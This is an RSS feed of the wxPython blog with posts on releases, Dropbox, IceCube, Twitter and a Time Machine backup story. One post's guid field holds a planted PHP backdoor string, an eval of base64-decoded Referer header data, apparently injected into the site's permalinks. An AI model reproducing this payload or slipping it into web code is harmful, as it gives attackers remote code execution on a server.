<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>wxForty-Two</title>
	<atom:link href="http://wxPython.org/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://wxPython.org/blog</link>
	<description>Life, the Universe and Everything  wxPython</description>
	<lastBuildDate>Fri, 25 Jun 2010 21:36:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Whyteboard gets noticed</title>
		<link>http://wxPython.org/blog/2010/06/03/whyteboard-gets-noticed/</link>
		<comments>http://wxPython.org/blog/2010/06/03/whyteboard-gets-noticed/#comments</comments>
		<pubDate>Thu, 03 Jun 2010 16:03:56 +0000</pubDate>
		<dc:creator>Robin</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://wxPython.org/blog/?p=54</guid>
		<description><![CDATA[
Whyteboard, a useful application written using wxPython for the GUI, was just noticed over at SourceForge.  Congrats Sproaty!
]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://wxPython.org/blog/wp-content/uploads/2010/06/wbpdf.png"><img class="size-medium wp-image-58 aligncenter" title="Whyteboard" src="http://wxPython.org/blog/wp-content/uploads/2010/06/wbpdf-300x240.png" alt="Whyteboard" width="300" height="240" /></a></p>
<p><a href="http://whyteboard.org/">Whyteboard</a>, a useful application written using wxPython for the GUI, was just <a href="http://sourceforge.net/blog/whyteboard-aids-in-teachable-moments/">noticed</a> over at SourceForge.  Congrats Sproaty!</p>
]]></content:encoded>
			<wfw:commentRss>http://wxPython.org/blog/2010/06/03/whyteboard-gets-noticed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>In memory of Laddie</title>
		<link>http://wxPython.org/blog/2010/05/22/in-memory-of-laddie/</link>
		<comments>http://wxPython.org/blog/2010/05/22/in-memory-of-laddie/#comments</comments>
		<pubDate>Sat, 22 May 2010 18:37:46 +0000</pubDate>
		<dc:creator>Robin</dc:creator>
				<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://wxPython.org/blog/?p=47</guid>
		<description><![CDATA[
Tribute to a Dog
The best friend a man has in the world may turn against him and become his enemy. His son or daughter that he has reared with loving care may prove ungrateful. Those who are nearest and dearest to us, those whom we trust with our happiness and our good name may become [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://wxPython.org/blog/wp-content/uploads/2010/05/Laddie-2.png"><img class="size-large wp-image-48 aligncenter" title="Laddie-2" src="http://wxPython.org/blog/wp-content/uploads/2010/05/Laddie-2-767x1024.png" alt="My dog Laddie" width="483" height="645" /></a></p>
<h2 style="text-align: center;"><strong>Tribute to a Dog</strong></h2>
<p>The best friend a man has in the world may turn against him and become his enemy. His son or daughter that he has reared with loving care may prove ungrateful. Those who are nearest and dearest to us, those whom we trust with our happiness and our good name may become traitors to their faith. The money that a man has, he may lose. It flies away from him, perhaps when he needs it most. A man's reputation may be sacrificed in a moment of ill-considered action. The people who are prone to fall on their knees to do us honor when success is with us, may be the first tothrow the stone of malice when failure settles its cloud upon our heads.</p>
<p>The one absolutely unselfish friend that man can have in this selfish world, the one that never deserts him, the one that never proves ungrateful or treacherous, is his dog. A man's dog stands by him in prosperity and in poverty, in health and in sickness. He will sleep on the cold ground, where the wintry winds blow and the snow drives fiercely, if only he may be near his master's side. He will kiss the hand that has no food to offer. He will lick the wounds and sores that come in encounters with the roughness of the world. He guards the sleep of his pauper master as if he were a prince. When all other friends desert, he remains. When riches take wings, and reputation falls to pieces, he is as constant in his love as the sun in its journey through the heavens.</p>
<p>If fortune drives the master forth, an outcast in the world, friendless and homeless, the faithful dog asks no higher privilege than that of accompanying him, to guard him against danger, to fight against his enemies. And when the last scene of all comes, and death takes his master in its embrace and his body is laid away in the cold ground, no matter if all other friends pursue their way, there by the graveside will the noble dog be found, his head between his paws, his eyes sad, but open in alert watchfulness, faithful and true even in death.</p>
<p style="text-align: right;">George Graham Vest, 1870</p>
]]></content:encoded>
			<wfw:commentRss>http://wxPython.org/blog/2010/05/22/in-memory-of-laddie/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Commit Count?  Big Deal</title>
		<link>http://wxPython.org/blog/2009/06/05/commit-count-big-deal/</link>
		<comments>http://wxPython.org/blog/2009/06/05/commit-count-big-deal/#comments</comments>
		<pubDate>Fri, 05 Jun 2009 23:38:10 +0000</pubDate>
		<dc:creator>Robin</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://wxPython.org/blog/2009/06/05/commit-count-big-deal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[This announcement from the PLplot project, and this report about it from Slashdot tout the ten thousandth commit to PLplot's source repository.  My response?  "Big deal!"  Both the Python and wxWidgets projects are about the same age as PLplot and the wx repository currently has almost 61,000 commits, and the Python repository has over 73,000 [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://sourceforge.net/forum/forum.php?forum_id=960188">This announcement</a> from the PLplot project, and this <a href="http://tech.slashdot.org/article.pl?sid=09/06/05/0231200">report</a> about it from Slashdot tout the ten thousandth commit to PLplot's source repository.  My response?  "Big deal!"  Both the Python and wxWidgets projects are about the same age as PLplot and the wx repository currently has almost 61,000 commits, and the Python repository has over 73,000 commits.  While those numbers are impressive considering that they represent mostly volunteer unpaid time from dozens of developers, they still pale compared to other projects.</p>
<p>On the other hand, the number of commits is really a very poor metric to measure open source projects by.  Much more  impressive is the number of users who would rather be using the software than anything else that could compete with it.</p>
]]></content:encoded>
			<wfw:commentRss>http://wxPython.org/blog/2009/06/05/commit-count-big-deal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Time to kick myself again</title>
		<link>http://wxPython.org/blog/2009/03/09/time-to-kick-myself-again/</link>
		<comments>http://wxPython.org/blog/2009/03/09/time-to-kick-myself-again/#comments</comments>
		<pubDate>Tue, 10 Mar 2009 02:16:21 +0000</pubDate>
		<dc:creator>Robin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[TooCool]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://wxPython.org/blog/2009/03/09/time-to-kick-myself-again/</guid>
		<description><![CDATA[Ever have one of those moments when you see some product or service and you think, "Doh! I should have thought of that!" because it is something that makes so much sense to you that you can't believe that you hadn't invented it yourself long before.  Well I had one of those moments today with [...]]]></description>
			<content:encoded><![CDATA[<p>Ever have one of those moments when you see some product or service and you think, "<em>Doh! I should have thought of that!</em>" because it is something that makes so much sense to you that you can't believe that you hadn't invented it yourself long before.  Well I had one of those moments today with <a href="https://www.getdropbox.com/">Dropbox</a>.  Dropbox is a cool service that integrates versioned shared storage on a centralized server with your Mac, Windows or Linux desktops.  Syncronizing files between your computers, whereever they are located, is as simple as dragging the files into your dropbox.  New or changed files are automatically replicated to your dropbox on the other computers.  If existing files are changed then only the deltas are transported across the wire, in a rsync-like fashion.</p>
<p>Besides the simple file sharing among your own computers, there are some other nice features there too.  Files are private by default, but there is a Public folder where you can put files you want to share with others, and you can easily get a public URL for them to paste into emails or IM messages.  You can also create a shared folder that you share with other Dropbox users.  Any changes you make in your shared folder are instantly updated to the other users' copy of the shared folder, and their changes are replicated back to you. In addition to all of that, you can easily get back to prior versions of changed files, and you can undelete files that have been deleted.  And as if that wasn't enough, there is another special folder type that is an automatic photo gallery, you just need to drag the photos you want to share to a Photos folder and the rest is automatic.</p>
<p>You get 2GB of space for free, and you can get up to 50GB for $10 per month or $99 per year.  If you sign up with this <a href="https://www.getdropbox.com/referrals/NTcyNzI1NTk">referal link</a> then you and I will both get an extra 250MB.</p>
<p>Finally, here is the real kicker:  The Dropbox user interface (setup wizard, preferences dialog, task bar icon, etc.) is written in wxPython!  If the user ID I saw when I signed up is related in some way to the number of users (it is just a number so that may be possible) then that means that there are about three quarters of a million users running a wxPython application on their computers and they may not even know it.  Good job guys, I'm impressed!</p>
<p style="text-align: center"><img src="http://wxPython.org/blog/wp-content/uploads/2009/03/snap002.png" alt="snap002.png" /></p>
]]></content:encoded>
			<wfw:commentRss>http://wxPython.org/blog/2009/03/09/time-to-kick-myself-again/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tweet, Tweet!</title>
		<link>http://wxPython.org/blog/2009/03/06/tweet-tweet/</link>
		<comments>http://wxPython.org/blog/2009/03/06/tweet-tweet/#comments</comments>
		<pubDate>Fri, 06 Mar 2009 22:47:06 +0000</pubDate>
		<dc:creator>Robin</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://wxPython.org/blog/2009/03/06/tweet-tweet/</guid>
		<description><![CDATA[A number of people have asked me about it and so I finally decided that it is high time that I give the whole twitter thing a try.  Of course I've gotten into it late enough that my usual user name, RobinD is already taken, although that page returns an error.  (I suspect that somebody [...]]]></description>
			<content:encoded><![CDATA[<p>A number of people have asked me about it and so I finally decided that it is high time that I give the whole <a href="http://twitter.com">twitter</a> thing a try.  Of course I've gotten into it late enough that my usual user name, <a href="http://twitter.com/RobinD">RobinD</a> is already taken, although that page returns an error.  (I suspect that somebody got their account suspended...)  Strangely enough somebody has already registered the <a href="http://twitter.com/wxPython">wxPython</a> name, although they haven't tweeted anything since last July...  Anyway, if you'd like to follow me or send me messages on twitter I am known there as <a href="http://twitter.com/RobinD42">RobinD42</a>. Bear with me while I take my first steps in this new environment...</p>
]]></content:encoded>
			<wfw:commentRss>http://wxPython.org/blog/2009/03/06/tweet-tweet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wxPython 2.8.9.2 Released</title>
		<link>http://wxPython.org/blog/2009/02/26/wxpython-2892-released/</link>
		<comments>http://wxPython.org/blog/2009/02/26/wxpython-2892-released/#comments</comments>
		<pubDate>Thu, 26 Feb 2009 18:13:45 +0000</pubDate>
		<dc:creator>Robin</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Release]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://wxPython.org/blog/2009/02/26/wxpython-2892-released/</guid>
		<description><![CDATA[ wxPython 2.8.9.2 has just been released.  This release adds the wx.lib.agw package, adds an event watcher to the widget inspection tool, and fixes a bunch of bugs.

Changes in 2.8.9.2

Download (source, Windows and Mac binaries)
APT (Debian or Ubuntu packages)

]]></description>
			<content:encoded><![CDATA[<p> wxPython 2.8.9.2 has just been released.  This release adds the wx.lib.agw package, adds an event watcher to the widget inspection tool, and fixes a bunch of bugs.</p>
<ul>
<li><a href="http://wxpython.org/CHANGES.html">Changes</a> in 2.8.9.2<a href="http://wxpython.org/CHANGES.html#id1"><br />
</a></li>
<li><a href="http://wxpython.org/download.php">Download</a> (source, Windows and Mac binaries)</li>
<li><a href="http://wiki.wxpython.org/InstallingOnUbuntuOrDebian">APT </a>(Debian or Ubuntu packages)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://wxPython.org/blog/2009/02/26/wxpython-2892-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>This is really cool (Brr!)</title>
		<link>http://wxPython.org/blog/2008/07/28/this-is-really-cool-brr/</link>
		<comments>http://wxPython.org/blog/2008/07/28/this-is-really-cool-brr/#comments</comments>
		<pubDate>Tue, 29 Jul 2008 02:07:06 +0000</pubDate>
		<dc:creator>Robin</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Work]]></category>

		<guid isPermaLink="false">http://wxPython.org/blog/2008/07/28/this-is-really-cool-brr/</guid>
		<description><![CDATA[I found out last week at the OSCON conference that my software is being used at the South Pole by the IceCube Neutrino Observatory project currently being constructed about a kilometer from the Pole.  They are using wxPython for the controller user interface of the machine that is drilling holes 2.4 kilometers down into the [...]]]></description>
			<content:encoded><![CDATA[<p>I found out last week at the <a href="http://en.oreilly.com/oscon2008/">OSCON</a> conference that my software is being used at the South Pole by the <a href="http://icecube.wisc.edu/">IceCube Neutrino Observatory</a> project currently being constructed about a kilometer from the Pole.  They are using <a href="http://wxPython.org/">wxPython</a> for the controller user interface of the <a href="http://gallery.icecube.wisc.edu/external/3-build-ehwd/">machine</a> that is drilling holes 2.4 kilometers down into the ice.  There isn't anything on their website about that piece of software, but it's real interesting anyway <img src='http://wxPython.org/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />   <a href="http://www.youtube.com/watch?v=SskyDuTfH0o">Here</a> is a bit more about the drill.  There are also these <a href="http://www.flickr.com/photos/ksbeattie/sets/72157594267166135/">pictures</a>, <a href="http://www.youtube.com/view_play_list?p=51EF4CAB8762D855">videos</a> and <a href="http://ksblog.wordpress.com/">blog</a> from one of the scientists that gave the presentation I attended where he shows a bit about what life at the Pole is like.  (Where a nice warm summer's day might get up to -31F. Brr!!)</p>
<p>This news means that I now have reports of wxPython being used from every continent on this planet. Yay!</p>
]]></content:encoded>
			<wfw:commentRss>http://wxPython.org/blog/2008/07/28/this-is-really-cool-brr/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>wxPython 2.8.8.1 Released</title>
		<link>http://wxPython.org/blog/2008/07/20/wxpyton-2881-released/</link>
		<comments>http://wxPython.org/blog/2008/07/20/wxpyton-2881-released/#comments</comments>
		<pubDate>Mon, 21 Jul 2008 06:40:05 +0000</pubDate>
		<dc:creator>Robin</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Release]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://wxPython.org/blog/2008/07/20/wxpyton-2881-released/</guid>
		<description><![CDATA[ wxPython 2.8.8.1 has just been released, with a few bug fixes for issues found in 2.8.8.0.

Changes in 2.8.8.1

Download (source, Windows and Mac binaries)
APT (Debian or Ubuntu packages)

]]></description>
			<content:encoded><![CDATA[<p> wxPython 2.8.8.1 has just been released, with a few bug fixes for issues found in 2.8.8.0.</p>
<ul>
<li><a href="http://wxpython.org/CHANGES.html">Changes</a> in 2.8.8.1<a href="http://wxpython.org/CHANGES.html#id1"><br />
</a></li>
<li><a href="http://wxpython.org/download.php">Download</a> (source, Windows and Mac binaries)</li>
<li><a href="http://wiki.wxpython.org/InstallingOnUbuntuOrDebian">APT </a>(Debian or Ubuntu packages)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://wxPython.org/blog/2008/07/20/wxpyton-2881-released/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>wxPython 2.8.8.0 Released</title>
		<link>http://wxPython.org/blog/2008/06/26/wxpython-2880-released/</link>
		<comments>http://wxPython.org/blog/2008/06/26/wxpython-2880-released/#comments</comments>
		<pubDate>Thu, 26 Jun 2008 14:44:32 +0000</pubDate>
		<dc:creator>Robin</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Release]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://wxPython.org/blog/2008/06/26/wxpython-2880-released/</guid>
		<description><![CDATA[After a much longer than anticipated time since 2.8.7.1, wxPython 2.8.8.0 has been released.

Changes in 2.8.8.0

Download (source, Windows and Mac binaries)
APT (Debian or Ubuntu packages)

]]></description>
			<content:encoded><![CDATA[<p>After a much longer than anticipated time since 2.8.7.1, wxPython 2.8.8.0 has been released.</p>
<ul>
<li><a href="http://wxpython.org/CHANGES.html">Changes</a> in 2.8.8.0<a href="http://wxpython.org/CHANGES.html#id1"><br />
</a></li>
<li><a href="http://wxpython.org/download.php">Download</a> (source, Windows and Mac binaries)</li>
<li><a href="http://wiki.wxpython.org/InstallingOnUbuntuOrDebian">APT </a>(Debian or Ubuntu packages)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://wxPython.org/blog/2008/06/26/wxpython-2880-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Time Machine Saves Bacon</title>
		<link>http://wxPython.org/blog/2008/06/10/time-machine-saves-bacon/</link>
		<comments>http://wxPython.org/blog/2008/06/10/time-machine-saves-bacon/#comments</comments>
		<pubDate>Wed, 11 Jun 2008 03:10:08 +0000</pubDate>
		<dc:creator>Robin</dc:creator>
				<category><![CDATA[Life]]></category>
		<category><![CDATA[Mac]]></category>

		<guid isPermaLink="false">http://wxPython.org/blog/2008/06/10/time-machine-saves-bacon/</guid>
		<description><![CDATA[Yeah, I know what you're thinking...  That headline sounds like something you might read while standing in the checkout line at the supermarket next to photos of aliens from the future rescuing some baby porkers from the path of a Vogon engineered tornado headed for the next trailer park on their list of sites [...]]]></description>
			<content:encoded><![CDATA[<p>Yeah, I know what you're thinking...  That headline sounds like something you might read while standing in the checkout line at the supermarket next to photos of aliens from the future rescuing some baby porkers from the path of a Vogon engineered tornado headed for the next trailer park on their list of sites to demolish to make room for a new highway.  Well if that's what you're thinking (come on, admit it, you <em>know</em> you were) then you're wrong.  Keep reading for some info about another kind of Time Machine, and another kind of Bacon.</p>
<p><span id="more-30"></span></p>
<h3>A brief history of Time Machines</h3>
<p>First on the list, of course, is <a href="http://en.wikipedia.org/wiki/The_Time_Machine"><em>The Time Machine</em></a> by one of the fathers of Science Fiction himself, H. G. Wells, written in 1895.  I suspect that there must have been a few nuggets of truth in this fictional work.  How else could he know that the basic themes of his work would continue to appeal to the masses more than a century after he created it?  What about the many science fictional technologies that have become science facts over the years?  Perhaps this same trans 4th dimensional tool was shared with Jules Verne when he wrote about the world-wide communications network that would be created in the 20th century...  I expect that it was then passed on to other Sci-Fi greats down through the generations like Asimov, Heinlein, Bradburry, and others...</p>
<p>Next, because it had an impact on my life that I still remember, I should mention the 1960 movie adaptation of <a href="http://en.wikipedia.org/wiki/The_Time_Machine_%281960_film%29"><em>The Time Machine</em></a>.  I remember my Grandfather taking me to this movie when I was but a wee lad sometime in the mid 1970's.  I remember having to walk the 10 or 12 city blocks from where we parked to where the "surprise" was located.  I thought the surprise was going to be ice cream or something and started complaining (loudly) when we passed a perfectly good ice cream shop along the way.  I say "walk" but it was more like "run" because my short little boy legs had to keep up with my Grandpa's long, quick strides.  Grandpa's favorite form of exercise was walking, (which is why he parked so far away) and if you couldn't keep up you got left in the dust.  When we finally got to the surprise, I actually was surprised that it was a movie instead of ice cream, but disappointed that it wasn't a "kids movie" and probably did a bit more complaining at this point.  I'm telling you all this about the trip to the theater to help you see the contrast of the trip back.  After emerging from the theater a couple hours later my mind was filled with wonder and excitement, and my imagination was running wild and in top gear.  I must have floated all the way back to the car because I don't remember a single step of it, or maybe I time traveled and just skipped ahead 30 minutes.  In either case, from that day forward I was a definite Sci-Fi fan.</p>
<p>Next stop on our mini time machine tour is Doc Brown's stainless steel De Lorian with its Flux Capacitor in <a href="http://en.wikipedia.org/wiki/Back_to_the_Future"><em>Back to the Future</em></a><em>.</em> What kid in the '80s (or half the adults for that matter) didn't dream of <em>being</em> Marty McFly and of the adventures that would be possible with access to a time machine?</p>
<p>Also on the list are Captains Kirk, Picard, Janeway and Archer who often seemed to be dealing  with cleaning up one mess or another related to paradoxes spawned from fooling around with the space-time continuum.  (You may notice that a name is missing from that list, but personally I don't consider DS9 to be part of the Star Trek family.  It's like the Sesame Street game "Which of these things is not like the others?")</p>
<p>The next time machine that I have personal experience with is <a href="http://catb.org/esr/jargon/html/G/Guido.html">Guido's Time Machine</a> which is a well known phenomenon in the <a href="http://python.org/">Python</a> developer community.  Here's how it works:  In the early days of Python development some Joe Programmer pines for Python FizzlePops in the newsgroup saying something like "FizzlePops are a cool new thing in the furglebergle language.  Wouldn't it be great if Python could do that?"  Quite often there would be a response five minutes later from Guido saying something like "That's a great idea.  I implemented it last week."  After it became common knowledge that Guido owns  a time machine we can often find references to it being used over much greater lengths of time, for example when a newly requested feature suddenly appears in prior releases of the software, even in releases as much as a few years old!  PJE <a href="http://dirtsimple.org/2004/12/python-is-not-java.html">describes </a>it this way:</p>
<blockquote><p>Pretend that Python is a magic wand that will miraculously do whatever you want without you needing to lifting a finger. Ask, "how does Python already solve my problem?" and "What Python language feature most resembles my problem?" You will be absolutely astonished at how often it happens that thing you need is already there in some form. In fact, this phenomenon is so common, even among experienced Python programmers, that the Python community has a name for it. We call it "Guido's time machine", because sometimes it seems as though that's the only way he could've known what we needed, before we knew it ourselves.</p></blockquote>
<p>I've had the opportunity now and then to borrow Guido's time machine in my work on <a href="http://wxPython.org/">wxPython</a> and I have to admit that it is an utterly exhilarating experience!  The wxPython users really appreciate it too, and it is the little things like time travel that can really help to build a loyal community around a software development tool and build strength for the future.</p>
<h3>What about saving the bacon?</h3>
<p>So, if you're still reading along at this point and haven't wandered off into the space-time continuum yourself, you're probably wondering what all this has to do with saving <a title="bacon.wav" href="http://wxPython.org/blog/wp-content/uploads/2008/06/bacon.wav">bacon</a>...  Well the time machine that is affecting my life today is <a href="http://www.apple.com/macosx/features/timemachine.html">Apple's Time Machine</a> and the bacon in question is mine.  Here's the story:  Several days ago the Software Update tool popped up telling me that there is an update to OS X 10.5.3 available.  Since I was in the middle of work and I knew that this update would require a reboot I decided that I would deal with it later and just hid the update window and went back to work, where I promptly forgot about the update notice.  Fast forward several days to this morning and I need to go out to run some errands.  Just before I leave I notice the Software Update icon in the dock and realize that this would be a good time to let the update run since I wont be at my desk for an hour or so anyway.  When I get back there's bad news on the screen.  The update file was corrupted and so it won't be able to complete the install.  I let it reboot expecting (with fingers crossed!) that it will boot back into the non-updated OS X.  Nope.  The boot hangs and eventually the machine shuts itself off.  So then I boot up from an external drive and jump into the Disk Utility app and select the internal hard drive and get more bad news, something like  "The file system is corrupted and  can not be repaired by this utility. Copy your important data and reinitialize the hard drive as soon as possible."  Despair!  Anguish!  Then my eyes fall on the other external hard drive on my desk, and a smile begins to curl the corners of my mouth and the twinkle returns to my eyes.  <a href="http://www.apple.com/macosx/features/timemachine.html">Time Machine</a> to the rescue!  I plug in the time machine disk and check when the last backup was run and find it was only about 40 minutes before the failure. YAY!</p>
<p>So after copying the few things from the internal drive that I know that time machine wasn't backing up (because I told it not to) and then erasing and reformatting the drive, I booted from the Leopard DVD and told it to restore from my time machine backup.  And it has been doing exactly that as I've been writing this post from another machine, all 140GB worth of data, music, projects, source code, tools, applications, and everything else chugging along from the time machine back into the Mac.  If you've ever had disk failures before and no recent or adequate backups then this is truly a beautiful sight.</p>
<p>Thanks Apple, your Time Machine has just saved my bacon!</p>
<p>The question remains however, do I dare attempt to do the update again?</p>
]]></content:encoded>
			<wfw:commentRss>http://wxPython.org/blog/2008/06/10/time-machine-saves-bacon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://wxPython.org/blog/wp-content/uploads/2008/06/bacon.wav" length="8702" type="audio/x-wav" />
		</item>
	</channel>
</rss>
